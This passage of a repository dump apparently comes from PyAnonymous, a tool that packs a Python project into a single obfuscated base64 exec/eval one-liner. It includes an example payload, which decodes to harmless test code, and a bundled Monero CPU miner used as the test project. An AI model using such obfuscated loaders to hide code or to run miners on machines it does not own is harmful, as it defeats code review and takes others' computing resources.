UNBZ2NtVjBkWEp1SURRPScsIHt9XSwgJ3Rlc3Q2JzogWydDbVJsWmlCMFpYTjBOaWgyWVhJeEtUb0tJQ0FnSUhKbGRIVnliaUF4TUNBcUlIWmhjakU9Jywge31dfV0sICd0ZXN0Nyc6IFsnQ21sdGNHOXlkQ0J0WVhSb0NtbHRjRzl5ZENCMFpYTjBPQXBtY205dElIUmxjM1F4TWlCcGJYQnZjblFnZEdWemREUUtDbU5zWVhOeklIUmxjM1EzWDJOc1lYTnpLQ2s2Q2lBZ0lDQmtaV1lnWDE5cGJtbDBYMThvYzJWc1ppd2dZU2s2Q2lBZ0lDQWdJQ0FnYzJWc1ppNWhJRDBnWVFvS0lDQWdJR1JsWmlCblpYUlNaWE1vYzJWc1ppazZDaUFnSUNBZ0lDQWdjbVYwZFhKdUlITmxiR1l1WVNBcUlESWdLeUIwWlhOME9DNTBaWE4wT0NncElDc2dkR1Z6ZERRdWRHVnpkRFFvS1E9PScsIHsndGVzdDEyJzogWycnLCB7J3Rlc3Q0JzogWydDbVJsWmlCMFpYTjBOQ2dwT2dvZ0lDQWdjbVYwZFhKdUlEUT0nLCB7fV0sICd0ZXN0Nic6IFsnQ21SbFppQjBaWE4wTmloMllYSXhLVG9LSUNBZ0lISmxkSFZ5YmlBeE1DQXFJSFpoY2pFPScsIHt9XX1dLCAndGVzdDgnOiBbJ0NtUmxaaUIwWlhOME9DZ3BPZ29nSUNBZ2NtVjBkWEp1SURJdycsIHt9XX1dfV0sICd0ZXN0MTInOiBbJycsIHsndGVzdDQnOiBbJ0NtUmxaaUIwWlhOME5DZ3BPZ29nSUNBZ2NtVjBkWEp1SURRPScsIHt9XSwgJ3Rlc3Q2JzogWydDbVJsWmlCMFpYTjBOaWgyWVhJeEtUb0tJQ0FnSUhKbGRIVnliaUF4TUNBcUlIWmhjakU9Jywge31dfV19XX1dfQ==').decode()), __import__("math").__dict__))
79 | __main__:4: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
80 | 'NoneNone'
81 | >>>
82 | ```
83 |
84 | 4. 最后验证是否成功导入. 在运行Payload后,项目入口文件 test_main.py 作为模块被注入至 math 模块中即: math.test_main.
85 |
86 | 先导入math包,输入以下代码调用入口点下的入口函数main.
87 | ```py
88 | >>> import math
89 | >>> math.test_main.main()
90 | 409
91 | ```
92 | 成功输出409,证明test项目入口连同整个项目被成功加载至math命名空间中
--------------------------------------------------------------------------------
/使用例子/示例test.py:
--------------------------------------------------------------------------------
1 | str(exec(__import__('base64').b64decode('CmRlZiBzdXJmYWNlX1p6UlRTb0RFKG0sIG4pOgogICAgZGVmIGRlZXBfWnpSVFNvREUobW4sIGMsIGQpOgogICAgICAgIGE9X19pbXBvcnRfXygnaW1wJykubmV3X21vZHVsZShtbikKICAgICAgICBmb3IgZDEgaW4gZDoKICAgICAgICAgICAgYS5fX2RpY3RfX1tkMV09ZGVlcF9aelJUU29ERShkMSwgZFtkMV1bMF0sIGRbZDFdWzFdKQogICAgICAgICAgICBfX2ltcG9ydF9fKCdzeXMnKS5tb2R1bGVzW2QxXSA9IGEuX19kaWN0X19bZDFdCiAgICAgICAgZXhlYyhfX2ltcG9ydF9fKCdiYXNlNjQnKS5iNjRkZWNvZGUoYyksIGEuX19kaWN0X18pCiAgICAgICAgcmV0dXJuIGEKICAgIGZvciBpIGluIG06bltpXT1kZWVwX1p6UlRTb0RFKGksIG1baV1bMF0sIG1baV1bMV0pCg==').decode()))+str(surface_ZzRTSoDE(eval(__import__('base64').b64decode('eyd0ZXN0X21haW4nOiBbJ0NtbHRjRzl5ZENCMFpYTjBNZ29LWkdWbUlHMWhhVzRvS1RvS0lDQWdJSEpsZEhWeWJpQjBaWE4wTWk1MFpYTjBNaWdwSUNzZ01Rbz0nLCB7J3Rlc3QyJzogWydJMlJsY0NCMFpYTjBNd29LWm5KdmJTQjBaWE4wTVRJZ2FXMXdiM0owSUhSbGMzUTJDbVp5YjIwZ2RHVnpkREV5SUdsdGNHOXlkQ0IwWlhOME5Bb0taR1ZtSUhSbGMzUXlLQ2s2Q2lBZ0lDQnlaWFIxY200Z1gxOXBiWEJ2Y25SZlh5Z25kR1Z6ZERNbktTNTBaWE4wTXlncElDc2dYMTlwYlhCdmNuUmZYeWduZEdWemRETW5LUzUyWVhJZ0t5QjBaWE4wTmk1MFpYTjBOaWd5S1NBZ0t5QjBaWE4wTkM1MFpYTjBOQ2dwJywgeyd0ZXN0MTInOiBbJycsIHsndGVzdDQnOiBbJ0NtUmxaaUIwWlhOME5DZ3BPZ29nSUNBZ2NtVjBkWEp1SURRPScsIHt9XSwgJ3Rlc3Q2JzogWydDbVJsWmlCMFpYTjBOaWgyWVhJeEtUb0tJQ0FnSUhKbGRIVnliaUF4TUNBcUlIWmhjakU9Jywge31dfV0sICd0ZXN0Myc6IFsnQ21aeWIyMGdkR1Z6ZERjZ2FXMXdiM0owSUhSbGMzUTNYMk5zWVhOekNtbHRjRzl5ZENCdmN3cG1jbTl0SUhSbGMzUXhNaUJwYlhCdmNuUWdkR1Z6ZERZS0NuWmhjaUE5SURJS0NtUmxaaUIwWlhOME15Z3BPZ29nSUNBZ1lpQTlJSFJsYzNRM1gyTnNZWE56S0RFcENpQWdJQ0J5WlhSMWNtNGdNU0FySUdJdVoyVjBVbVZ6S0NrZ0t5QjBaWE4wTmk1MFpYTjBOaWd5S1E9PScsIHsndGVzdDEyJzogWycnLCB7J3Rlc3Q0JzogWydDbVJsWmlCMFpYTjBOQ2dwT2dvZ0lDQWdjbVYwZFhKdUlEUT0nLCB7fV0sICd0ZXN0Nic6IFsnQ21SbFppQjBaWE4wTmloMllYSXhLVG9LSUNBZ0lISmxkSFZ5YmlBeE1DQXFJSFpoY2pFPScsIHt9XX1dLCAndGVzdDcnOiBbJ0NtbHRjRzl5ZENCdFlYUm9DbWx0Y0c5eWRDQjBaWE4wT0FwbWNtOXRJSFJsYzNReE1pQnBiWEJ2Y25RZ2RHVnpkRFFLQ21Oc1lYTnpJSFJsYzNRM1gyTnNZWE56S0NrNkNpQWdJQ0JrWldZZ1gxOXBibWwwWDE4b2MyVnNaaXdnWVNrNkNpQWdJQ0FnSUNBZ2MyVnNaaTVoSUQwZ1lRb0tJQ0FnSUdSbFppQm5aWFJTWlhNb2MyVnNaaWs2Q2lBZ0lDQWdJQ0FnY21WMGRYSnVJSE5sYkdZdVlTQXFJRElnS3lCMFpYTjBPQzUwWlhOME9DZ3BJQ3NnZEdWemREUXVkR1Z6ZERRb0tRPT0nLCB7J3Rlc3QxMic6IFsnJywgeyd0ZXN0NCc6IFsnQ21SbFppQjBaWE4wTkNncE9nb2dJQ0FnY21WMGRYSnVJRFE9Jywge31dLCAndGVzdDYnOiBbJ0NtUmxaaUIwWlhOME5paDJZWEl4S1RvS0lDQWdJSEpsZEhWeWJpQXhNQ0FxSUhaaGNqRT0nLCB7fV19XSwgJ3Rlc3Q4JzogWydabkp2YlNCMFpYTjBNelFnYVcxd2IzSjBJSFJsYzNRek5ERUtDbVJsWmlCMFpYTjBPQ2dwT2dvZ0lDQWdjbVYwZFhKdUlESXdJQ3NnZEdWemRETTBNUzUwWlhOME16UXhLQ2s9Jywgeyd0ZXN0MzQnOiBbJycsIHsndGVzdDM0MSc6IFsnQ21SbFppQjBaWE4wTXpReEtDazZDaUFnSUNCeVpYUjFjbTRnTVE9PScsIHt9XSwgJ19faW5pdF9fJzogWycnLCB7fV19XX1dfV19XX1dfV19').decode()), __import__("math").__dict__))
2 |
3 | import math
4 | print(math.test_main.main())
--------------------------------------------------------------------------------
/图片/SSH命令执行2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/图片/SSH命令执行2.png
--------------------------------------------------------------------------------
/图片/pic1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/图片/pic1.png
--------------------------------------------------------------------------------
/图片/pic2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/图片/pic2.png
--------------------------------------------------------------------------------
/测试项目/ReadableCryptoMiner/.gitignore:
--------------------------------------------------------------------------------
1 | .vs/
2 | __pycache__/
3 | cryptonight_lib/project/
4 | CMakeCache/
5 | CMakeCache.txt
6 | CMakeFiles/
7 | CMakeFiles/
8 | *.cmake
9 | *.log
10 | *.bat
11 | .idea/
12 | config.json
13 |
--------------------------------------------------------------------------------
/测试项目/ReadableCryptoMiner/Cryptonight.py:
--------------------------------------------------------------------------------
1 | import binascii # TODO: move outside ?
2 |
3 | from Job import Job
4 | from crypto_primitives.slow_hash_lgplv3 import slow_hash_glue_func
5 |
6 |
7 | c_pow = slow_hash_glue_func
8 |
9 |
10 | # TODO: move into other file if another implementation is done
11 | # Subscription state
12 | class Subscription(object):
13 | """Encapsulates the Subscription state from the JSON-RPC2 server"""
14 |
15 | def __init__(self):
16 | self._id = None
17 | # self._difficulty = None
18 | # self._target = None
19 | self._worker_name = None
20 | self._mining_thread = None
21 |
22 | # Subclasses should override this
23 | def ProofOfWork(self, header):
24 | raise Exception('Do not use the Subscription class directly, subclass it')
25 |
26 | class StateException(Exception):
27 | pass
28 |
29 | @property
30 | def id(self):
31 | return self._id
32 |
33 | @property
34 | def worker_name(self):
35 | return self._worker_name
36 |
37 | # @property
38 | # def difficulty(self): return self._difficulty
39 | # @property
40 | # def target(self): return self._target
41 |
42 | def set_worker_name(self, worker_name):
43 | if self._worker_name:
44 | raise self.StateException('Already authenticated as %r (requesting %r)' % (self._username, username))
45 | self._worker_name = worker_name
46 |
47 | def set_subscription(self, subscription_id):
48 | if self._id is not None:
49 | raise self.StateException('Already subscribed')
50 | self._id = subscription_id
51 |
52 | def create_job(self, job_id, blob, target):
53 | """Creates a new Job object populated with all the goodness it needs to mine"""
54 |
55 | if self._id is None:
56 | raise self.StateException('Not subscribed')
57 |
58 | return Job(
59 | subscription_id=self.id,
60 | job_id=job_id,
61 | blob=blob,
62 | target=target,
63 | proof_of_work=self.ProofOfWork
64 | )
65 |
66 | def __str__(self):
67 | return ''.format(self.id, self.worker_name)
68 |
69 |
70 | class SubscriptionCryptonight(Subscription):
71 | """Subscription for Cryptonight-based coins, like XMR (Monero)"""
72 |
73 | # overriden method
74 | def ProofOfWork(self, header):
75 | def cryptonight_proof_of_work(x):
76 | output = [None for k in range(32)] # create a buffer (list type)
77 | intli_form_data = list(x)
78 | c_pow(output, intli_form_data, 76) # 76 is the input buffer len
79 | binstr_form_output = bytes(output)
80 | outputhex = binascii.hexlify(binstr_form_output).decode() # TODO: move outside?
81 | return outputhex
82 |
83 | return cryptonight_proof_of_work(header)
84 |
--------------------------------------------------------------------------------
/测试项目/ReadableCryptoMiner/Job.py:
--------------------------------------------------------------------------------
1 | import time, struct, binascii, array
2 |
3 |
4 | class Job(object):
5 | """Job from pool"""
6 |
7 | def __init__(self, subscription_id, job_id, blob, target, proof_of_work):
8 |
9 | # From job
10 | self._subscription_id = subscription_id
11 | self._job_id = job_id
12 | self._blob = blob
13 | self._target = target
14 |
15 | # PoW algorithm
16 | self._proof_of_work = proof_of_work
17 |
18 | # Flag to stop this job's mine coroutine
19 | self._done = False
20 |
21 | # Hash metrics (start time, delta time, total hashes)
22 | self._dt = 0.0
23 | self._hash_count = 0
24 |
25 | @property
26 | def job_id(self):
27 | return self._job_id
28 |
29 | @property
30 | def blob(self):
31 | return self._blob
32 |
33 | @property
34 | def target(self):
35 | return self._target
36 |
37 | @property
38 | def pow(self):
39 | return self._proof_of_work
40 |
41 | @property
42 | def hashrate(self):
43 | return self._hash_count / self._dt if self._dt > 0 else 0.0
44 |
45 | def stop(self):
46 | """Requests the mine coroutine stop after its current iteration"""
47 | self._done = True
48 |
49 | def mine(self, nonce_start=0, nonce_stride=13):
50 | t0 = time.time()
51 |
52 | blob_bin = binascii.unhexlify(self.blob)
53 | for nonce in range(nonce_start, 0x7fffffff, nonce_stride):
54 | if self._done:
55 | self._dt = time.time() - t0
56 | raise StopIteration()
57 |
58 | # PoW attempt
59 | nonce_bin = struct.pack('>I', nonce)
60 | data = blob_bin[:39] + nonce_bin + blob_bin[39 + len(nonce_bin):]
61 | pow = self.pow(data)
62 |
63 | tar = pow[-len(self.target):]
64 | tar = "".join([tar[i:i + 2] for i in range(0, len(tar), 2)][::-1])
65 |
66 | if tar <= self.target:
67 | result = {"id": self._subscription_id, "job_id": self._job_id, "nonce": "{0:0{1}x}".format(nonce, 8),
68 | "result": pow}
69 | self._dt = time.time() - t0
70 | yield result
71 | self._hash_count += 1
72 |
--------------------------------------------------------------------------------
/测试项目/ReadableCryptoMiner/JsonRpc2Client.py:
--------------------------------------------------------------------------------
1 | import threading, json, sys
2 | from Utils import *
3 |
4 | class JsonRpc2Client(object):
5 | """Simple Json RPC Client"""
6 |
7 | class ClientException(Exception): pass
8 |
9 | class RequestReplyException(Exception):
10 | def __init__(self, message, reply, request = None):
11 | Exception.__init__(self, message)
12 | self._reply = reply
13 | self._request = request
14 | self.message = message
15 |
16 | @property
17 | def request(self): return self._request
18 | @property
19 | def reply(self): return self._reply
20 |
21 |
22 | class RequestReplyWarning(RequestReplyException):
23 | '''Sub-classes can raise this to inform the user of JSON-RPC server issues.'''
24 | pass
25 |
26 |
27 | def __init__(self):
28 | self._socket = None
29 | self._lock = threading.RLock()
30 | self._rpc_thread = None
31 | self._message_id = 1
32 | self._requests = {}
33 |
34 |
35 | def _handle_incoming_rpc(self):
36 | data = ""
37 | while True:
38 | if '\n' in data:
39 | line, data = data.split('\n', 1)
40 | else:
41 | data += self._socket.recv(1024).decode()
42 | continue
43 |
44 | log('JSON-RPC Server > ' + line, LEVEL_PROTOCOL)
45 |
46 | try:
47 | reply = json.loads(line)
48 | except Exception as e:
49 | log("JSON-RPC Error: Failed to parse JSON %r (skipping)" % line, LEVEL_ERROR)
50 |
51 | try:
52 | request = None
53 | with self._lock:
54 | if 'id' in reply and reply['id'] in self._requests:
55 | request = self._requests[reply['id']]
56 | self.handle_reply(request, reply)
57 | except self.RequestReplyWarning as e:
58 | output = e.message
59 | if e.request:
60 | output += '\n ' + str(e.request)
61 | output += '\n ' + str(e.reply)
62 | log(output, LEVEL_ERROR)
63 |
64 |
65 | def handle_reply(self, request, reply):
66 | raise self.RequestReplyWarning('Override this method')
67 |
68 |
69 | def send(self, method, params):
70 | if not self._socket:
71 | raise Exception("Not connected")
72 |
73 | request = {"id": self._message_id, "method": method, "params": params}
74 | msg = json.dumps(request)
75 | log("Send request {}: {}".format(self._message_id, msg), LEVEL_DEBUG)
76 | with self._lock:
77 | self._requests[self._message_id] = request
78 | self._message_id += 1
79 | self._socket.send((msg + '\n').encode())
80 |
81 |
82 | def connect(self, socket):
83 | if self._rpc_thread:
84 | raise Exception("Already connected")
85 |
86 | self._socket = socket
87 | self._rpc_thread = threading.Thread(target=self._handle_incoming_rpc)
88 | self._rpc_thread.daemon = True
89 | self._rpc_thread.start()
90 |
--------------------------------------------------------------------------------
/测试项目/ReadableCryptoMiner/LICENSE:
--------------------------------------------------------------------------------
1 | Software License is MIT + LGPL-v3
2 |
3 | ReadableCryptoMiner source-code authors are:
4 | - Thomas Eder
5 | - Guillaume George
6 | - Patrick Lundin
7 |
8 | Parts of the software distributed under the terms of the LGPL-v3 are:
9 | - all files belonging to the crypto_primitives module
10 | - contents of the pow_algorithms.Cryptonight.do_proof_of_work(...) method
11 |
12 |
13 | === MIT License ===
14 |
15 | Copyright (c) 2018 Guillaume George, Thomas Iwaszko
16 |
17 | Permission is hereby granted, free of charge, to any person obtaining a copy
18 | of this software and associated documentation files (the "Software"), to deal
19 | in the Software without restriction, including without limitation the rights
20 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
21 | copies of the Software, and to permit persons to whom the Software is
22 | furnished to do so, subject to the following conditions:
23 |
24 | The above copyright notice and this permission notice shall be included in all
25 | copies or substantial portions of the Software.
26 |
27 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
28 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
29 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
30 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
31 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
32 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
33 | SOFTWARE.
34 |
35 |
36 | === GNU LGPL-v3 ===
37 |
38 | GNU LESSER GENERAL PUBLIC LICENSE
39 | Version 3, 29 June 2007
40 |
41 | Copyright (C) 2007 Free Software Foundation, Inc.
42 | Everyone is permitted to copy and distribute verbatim copies
43 | of this license document, but changing it is not allowed.
44 |
45 |
46 | This version of the GNU Lesser General Public License incorporates
47 | the terms and conditions of version 3 of the GNU General Public
48 | License, supplemented by the additional permissions listed below.
49 |
50 | 0. Additional Definitions.
51 |
52 | As used herein, "this License" refers to version 3 of the GNU Lesser
53 | General Public License, and the "GNU GPL" refers to version 3 of the GNU
54 | General Public License.
55 |
56 | "The Library" refers to a covered work governed by this License,
57 | other than an Application or a Combined Work as defined below.
58 |
59 | An "Application" is any work that makes use of an interface provided
60 | by the Library, but which is not otherwise based on the Library.
61 | Defining a subclass of a class defined by the Library is deemed a mode
62 | of using an interface provided by the Library.
63 |
64 | A "Combined Work" is a work produced by combining or linking an
65 | Application with the Library. The particular version of the Library
66 | with which the Combined Work was made is also called the "Linked
67 | Version".
68 |
69 | The "Minimal Corresponding Source" for a Combined Work means the
70 | Corresponding Source for the Combined Work, excluding any source code
71 | for portions of the Combined Work that, considered in isolation, are
72 | based on the Application, and not on the Linked Version.
73 |
74 | The "Corresponding Application Code" for a Combined Work means the
75 | object code and/or source code for the Application, including any data
76 | and utility programs needed for reproducing the Combined Work from the
77 | Application, but excluding the System Libraries of the Combined Work.
78 |
79 | 1. Exception to Section 3 of the GNU GPL.
80 |
81 | You may convey a covered work under sections 3 and 4 of this License
82 | without being bound by section 3 of the GNU GPL.
83 |
84 | 2. Conveying Modified Versions.
85 |
86 | If you modify a copy of the Library, and, in your modifications, a
87 | facility refers to a function or data to be supplied by an Application
88 | that uses the facility (other than as an argument passed when the
89 | facility is invoked), then you may convey a copy of the modified
90 | version:
91 |
92 | a) under this License, provided that you make a good faith effort to
93 | ensure that, in the event an Application does not supply the
94 | function or data, the facility still operates, and performs
95 | whatever part of its purpose remains meaningful, or
96 |
97 | b) under the GNU GPL, with none of the additional permissions of
98 | this License applicable to that copy.
99 |
100 | 3. Object Code Incorporating Material from Library Header Files.
101 |
102 | The object code form of an Application may incorporate material from
103 | a header file that is part of the Library. You may convey such object
104 | code under terms of your choice, provided that, if the incorporated
105 | material is not limited to numerical parameters, data structure
106 | layouts and accessors, or small macros, inline functions and templates
107 | (ten or fewer lines in length), you do both of the following:
108 |
109 | a) Give prominent notice with each copy of the object code that the
110 | Library is used in it and that the Library and its use are
111 | covered by this License.
112 |
113 | b) Accompany the object code with a copy of the GNU GPL and this license
114 | document.
115 |
116 | 4. Combined Works.
117 |
118 | You may convey a Combined Work under terms of your choice that,
119 | taken together, effectively do not restrict modification of the
120 | portions of the Library contained in the Combined Work and reverse
121 | engineering for debugging such modifications, if you also do each of
122 | the following:
123 |
124 | a) Give prominent notice with each copy of the Combined Work that
125 | the Library is used in it and that the Library and its use are
126 | covered by this License.
127 |
128 | b) Accompany the Combined Work with a copy of the GNU GPL and this license
129 | document.
130 |
131 | c) For a Combined Work that displays copyright notices during
132 | execution, include the copyright notice for the Library among
133 | these notices, as well as a reference directing the user to the
134 | copies of the GNU GPL and this license document.
135 |
136 | d) Do one of the following:
137 |
138 | 0) Convey the Minimal Corresponding Source under the terms of this
139 | License, and the Corresponding Application Code in a form
140 | suitable for, and under terms that permit, the user to
141 | recombine or relink the Application with a modified version of
142 | the Linked Version to produce a modified Combined Work, in the
143 | manner specified by section 6 of the GNU GPL for conveying
144 | Corresponding Source.
145 |
146 | 1) Use a suitable shared library mechanism for linking with the
147 | Library. A suitable mechanism is one that (a) uses at run time
148 | a copy of the Library already present on the user's computer
149 | system, and (b) will operate properly with a modified version
150 | of the Library that is interface-compatible with the Linked
151 | Version.
152 |
153 | e) Provide Installation Information, but only if you would otherwise
154 | be required to provide such information under section 6 of the
155 | GNU GPL, and only to the extent that such information is
156 | necessary to install and execute a modified version of the
157 | Combined Work produced by recombining or relinking the
158 | Application with a modified version of the Linked Version. (If
159 | you use option 4d0, the Installation Information must accompany
160 | the Minimal Corresponding Source and Corresponding Application
161 | Code. If you use option 4d1, you must provide the Installation
162 | Information in the manner specified by section 6 of the GNU GPL
163 | for conveying Corresponding Source.)
164 |
165 | 5. Combined Libraries.
166 |
167 | You may place library facilities that are a work based on the
168 | Library side by side in a single library together with other library
169 | facilities that are not Applications and are not covered by this
170 | License, and convey such a combined library under terms of your
171 | choice, if you do both of the following:
172 |
173 | a) Accompany the combined library with a copy of the same work based
174 | on the Library, uncombined with any other library facilities,
175 | conveyed under the terms of this License.
176 |
177 | b) Give prominent notice with the combined library that part of it
178 | is a work based on the Library, and explaining where to find the
179 | accompanying uncombined form of the same work.
180 |
181 | 6. Revised Versions of the GNU Lesser General Public License.
182 |
183 | The Free Software Foundation may publish revised and/or new versions
184 | of the GNU Lesser General Public License from time to time. Such new
185 | versions will be similar in spirit to the present version, but may
186 | differ in detail to address new problems or concerns.
187 |
188 | Each version is given a distinguishing version number. If the
189 | Library as you received it specifies that a certain numbered version
190 | of the GNU Lesser General Public License "or any later version"
191 | applies to it, you have the option of following the terms and
192 | conditions either of that published version or of any later version
193 | published by the Free Software Foundation. If the Library as you
194 | received it does not specify a version number of the GNU Lesser
195 | General Public License, you may choose any version of the GNU Lesser
196 | General Public License ever published by the Free Software Foundation.
197 |
198 | If the Library as you received it specifies that a proxy can decide
199 | whether future versions of the GNU Lesser General Public License shall
200 | apply, that proxy's public statement of acceptance of any version is
201 | permanent authorization for you to choose that version for the
202 | Library.
203 |
204 |
--------------------------------------------------------------------------------
/测试项目/ReadableCryptoMiner/Miner.py:
--------------------------------------------------------------------------------
1 | import math
2 | import socket
3 | import threading
4 | from Cryptonight import SubscriptionCryptonight
5 | from JsonRpc2Client import *
6 | import defs
7 |
8 |
9 | SubscriptionByAlgorithm = {
10 | "cryptonight": SubscriptionCryptonight,
11 | }
12 |
13 |
14 | class Miner(JsonRpc2Client):
15 | """Simple mining client"""
16 |
17 | class MinerWarning(JsonRpc2Client.RequestReplyWarning):
18 | def __init__(self, message, reply, request=None):
19 | JsonRpc2Client.RequestReplyWarning.__init__(self, 'Mining Sate Error: ' + message, reply, request)
20 |
21 | class MinerAuthenticationException(JsonRpc2Client.RequestReplyException):
22 | pass
23 |
24 | def __init__(self, url, username, password, algorithm, nb_threads):
25 | JsonRpc2Client.__init__(self)
26 | self._url = url
27 | self._username = username
28 | self._password = password
29 | self.nb_threads = nb_threads
30 | self._subscription = SubscriptionByAlgorithm[algorithm]()
31 | self._job = None
32 | self._submitted_shares = 0
33 | self._accepted_shares = 0
34 |
35 | def handle_reply(self, request, reply):
36 | if reply.get("method") == "job":
37 | self._handle_job(reply)
38 | elif request:
39 | if request.get("method") == "submit":
40 | self._handle_submit(reply, request)
41 | elif request.get("method") == "login":
42 | self._handle_login(reply)
43 | else:
44 | raise Exception("Bad message state - no request", reply)
45 | else:
46 | raise Exception("Unknown message", reply, request)
47 |
48 | def _handle_job_msg(self, job_msg):
49 | blob = job_msg["blob"]
50 | job_id = job_msg["job_id"]
51 | target = job_msg["target"]
52 | target = "".join([target[i:i + 2] for i in range(0, len(target), 2)][::-1])
53 | difficulty = math.floor((2 ** 32 - 1) / int(target, 16))
54 | self._spawn_job_thread(job_id, blob, target)
55 |
56 | log("New job: job_id={} - difficulty={}".format(job_id, difficulty), LEVEL_DEBUG)
57 |
58 | @staticmethod
59 | def _testif_job_msg_matches_spec(given_jobmsg):
60 | if "params" not in given_jobmsg:
61 | return False
62 | params = given_jobmsg["params"]
63 | for exp_key in ("blob", "job_id", "target", "height", "seed_hash"):
64 | if exp_key not in params:
65 | return False
66 | return True
67 |
68 | def _handle_job(self, reply):
69 | if not Miner._testif_job_msg_matches_spec(reply):
70 | raise self.MinerWarning("Malformed job message", reply)
71 | self._handle_job_msg(reply["params"])
72 |
73 | def _handle_submit(self, reply, request):
74 | if "result" not in reply or not reply["result"]:
75 | log("Share - Invalid", LEVEL_INFO)
76 | raise self.MinerWarning("Failed to accept submit", reply, request)
77 |
78 | self._accepted_shares += 1
79 | log("Accepted shares: {} / {}".format(self._accepted_shares, self._submitted_shares), LEVEL_INFO)
80 |
81 | def _login(self):
82 | # TODO: define user agent properly
83 | params = {"login": self._username, "pass": self._password, "agent": defs.AGENT_LABEL}
84 | self.send(method="login", params=params)
85 |
86 | def _handle_login(self, reply):
87 | if "result" not in reply or "id" not in reply["result"]:
88 | raise self.MinerWarning('Reply to login is malformed', reply)
89 | result = reply["result"]
90 | identifier = result["id"]
91 | log("Login success. Subscription ID={}".format(identifier), LEVEL_DEBUG)
92 | self._subscription.set_subscription(identifier)
93 | self._handle_job_msg(result["job"])
94 |
95 | def _spawn_job_thread(self, job_id, blob, target):
96 | """Stops any previous job and begins a new job."""
97 |
98 | # Stop the old job (if any)
99 | if self._job:
100 | self._job.stop()
101 |
102 | # Create the new job
103 | self._job = self._subscription.create_job(
104 | job_id=job_id,
105 | blob=blob,
106 | target=target
107 | )
108 |
109 | def run(job, nonce_start, nonce_stride):
110 | # try:
111 | for result in job.mine(nonce_start=nonce_start, nonce_stride=nonce_stride):
112 | self.send(method="submit", params=result)
113 | self._submitted_shares += 1
114 | log("Found share: " + str(result), LEVEL_DEBUG)
115 | log("Hashrate: {}".format(human_readable_hashrate(job.hashrate)), LEVEL_INFO)
116 |
117 | # except Exception as e:
118 | # log("ERROR: {}".format(e), LEVEL_ERROR)
119 | for n in range(self.nb_threads):
120 | thread = threading.Thread(target=run, args=(self._job, n, self.nb_threads))
121 | thread.daemon = True
122 | thread.start()
123 |
124 | def serve_forever(self) -> None:
125 | """
126 | quick 'n' dirty url parsing
127 | The assumed format for field self._url
128 | is:
129 | stratum+tcp://foobar.com:3333
130 | """
131 | tmp = self._url.split('//')[1]
132 | hostname, port = tmp.split(':')
133 | port = int(port) # type casting
134 | log("Starting server on {}:{}".format(hostname, port), LEVEL_INFO)
135 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
136 | sock.connect((hostname, port))
137 | self.connect(sock)
138 | self._login()
139 | while True:
140 | time.sleep(10)
141 |
--------------------------------------------------------------------------------
/测试项目/ReadableCryptoMiner/README.md:
--------------------------------------------------------------------------------
1 |
2 | # ReadableCryptoMiner
3 |
4 | *The project is to write a fully functionnal XMR miner, in pure python 3.*
5 |
6 | Why? Such a Monero CPU miner can be useful for for learning purpose.
7 |
8 | The source-code provided is heavily inspired by:
9 | https://github.com/ricmoo/nightminer/ but I plan to use JSON RPC 2.0 and the
10 | new RandomX algorithm.
11 |
12 | **Warning 1:**
13 | Initially Monero used the so-called CryptoNight PoW algorithm. The project was designed
14 | accordingly.
15 | But (as far as I know) from year 2019, November 30th monero uses the PoW algorithm:
16 | RandomX.
17 | The current miner needs to be patched in order to mine accordingly to the hard fork that
18 | occured. By now (2024, March) this is still a work-in-progress.
19 |
20 | **Warning 2:**
21 | This miner is extremely slow and therefore not suited for mercantile use.
22 |
23 |
24 |
25 | ## Command Line Interface
26 |
27 | ggminer.py [-h] [-a {cryptonight}] [-o URL] [-u USERNAME] [-p PASSWORD] [-t THREAD] [-d DEBUG]
28 |
29 | optional arguments:
30 | -h, --help show this help message and exit
31 | -a, --algo hashing algorithm to use for proof of work {cryptonight}
32 | -o URL, --url URL stratum mining server url (eg: stratum+tcp://foobar.com:3333)
33 | -u USERNAME, --user USERNAME username for mining server
34 | -p PASSWORD, --pass PASSWORD password for mining server
35 | -t THREAD, --thread THREAD number of mining threads to start
36 | -d, --debug show extra debug information
37 |
38 | Example of possible mining pools:
39 |
40 | - Location | Server Host | Stratum Port | SSL/TLS Port
41 | - Europe xmr-eu1.nanopool.org 10300 10343
42 | - Europe xmr-eu2.nanopool.org 10300 10343
43 | - US East xmr-us-east1.nanopool.org 10300 10343
44 | - US West xmr-us-west1.nanopool.org 10300 10343
45 | - Asia xmr-asia1.nanopool.org 10300 10343
46 | - Japan xmr-jp1.nanopool.org 10300 10343
47 | - Australia xmr-au1.nanopool.org 10300 10343
48 |
49 | Using a SSL connection is highly recommended. It's
50 | more safe and stable than stratum.
51 |
52 | ## Dive in head first
53 |
54 | To get started easily you can, for example, use the command line:
55 | ```shell
56 | python ggminer.py --url stratum+tcp://xmr-eu1.nanopool.org:10300 --debug 2
57 | ```
58 |
59 | ## Structure the config file:
60 |
61 | ```json
62 | {
63 | "wallet": "YOUR_XMR_ADDRESS",
64 | "rigName": "YOUR_WORKER",
65 | "email": "YOUR_EMAIL"
66 | }
67 | ```
68 |
69 |
70 | ## License
71 |
72 | The code is licensed under MIT + LGPLv3, see LICENSE file for more info.
73 |
--------------------------------------------------------------------------------
/测试项目/ReadableCryptoMiner/Utils.py:
--------------------------------------------------------------------------------
1 | import time
2 |
3 | # from ggminer import *
4 |
5 |
6 | LEVEL_PROTOCOL = 'protocol'
7 | LEVEL_INFO = 'info'
8 | LEVEL_DEBUG = 'debug'
9 | LEVEL_ERROR = 'error'
10 | DEBUG = False
11 |
